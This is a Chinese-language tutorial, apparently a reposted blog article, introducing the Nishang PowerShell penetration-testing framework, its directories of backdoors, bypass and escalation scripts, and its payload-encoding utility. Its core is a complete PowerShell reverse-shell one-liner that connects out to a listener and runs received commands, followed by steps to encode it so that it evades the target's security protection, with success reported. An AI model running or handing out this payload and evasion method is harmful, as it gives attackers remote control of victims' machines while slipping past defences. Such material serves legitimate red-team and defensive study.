PowerShell渗透工具Nishang
目錄
Nishang
Nishang的目錄結構
Nishang的使用
Invoke-Decode.ps1
Nishang
Nishang是一個PowerShell腳本和有效載荷的框架和集合,它使PowerShell能夠用于攻擊安全性、滲透測試和紅隊。它是基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包括下載和執行、鍵盤記錄、DNS、延時命令等腳本,被廣泛用于滲透測試的各個階段。Nishang在PowerShell3.0及以上的環境中才能正常使用,所以Windows7、Server2008下默認是有點小問題的。項目地址:https://github.com/samratashok/nishang
Nishang的目錄結構
- ActiveDirectory:活動目錄
- Antak-WebShell:WebShell
- Backdoors:后門
- Bypass:繞過
- Client:客戶端
- Escalation:提權
- Execution:執行
- Gather:信息收集
- MITM:
- Misc:發音
- Pivot:跳板、遠程執行exe
- Prasadhak:Virustotal?
- Scan:掃描
- Shells:shell
- Utility:雜項
- Powerpreter:Meterpreter會話
Nishang的使用
導入所有的腳本到當前的PowerShell會話中(PowerShell v3之前)
Import-Module -verbose? .\nishang.psm1然后輸入命令:Get-Command -Module nishang? ?查看nishang有哪些功能
Invoke-Decode.ps1
該腳本是Nishang的Utility目錄下的,該腳本用于對payload進行編碼。
例如,我們現在想利用powershell反彈shell。
我們在服務端使用powercat進行監聽
我們在客戶端的反彈shell的腳本如下,名為 reverse.ps1
$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()但是由于客戶端機器存在防護,直接指向該腳本反彈不了shell。所以,我們現在就利用 Invoke-Encode.ps1腳本對reverse.ps1進行編碼。執行完成后,會生成兩個文件:encoded.txt?和 encodedcommand.txt,前者是編碼的數據,后者是編碼后的命令。
我們復制encodedcommand.txt 里面的命令,在powershell中執行,可以看到,反彈shell成功。
未完待續。。
總結
以上是生活随笔為你收集整理的PowerShell渗透工具Nishang的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Msfvenonm生成后门
- 下一篇: PowerShell使用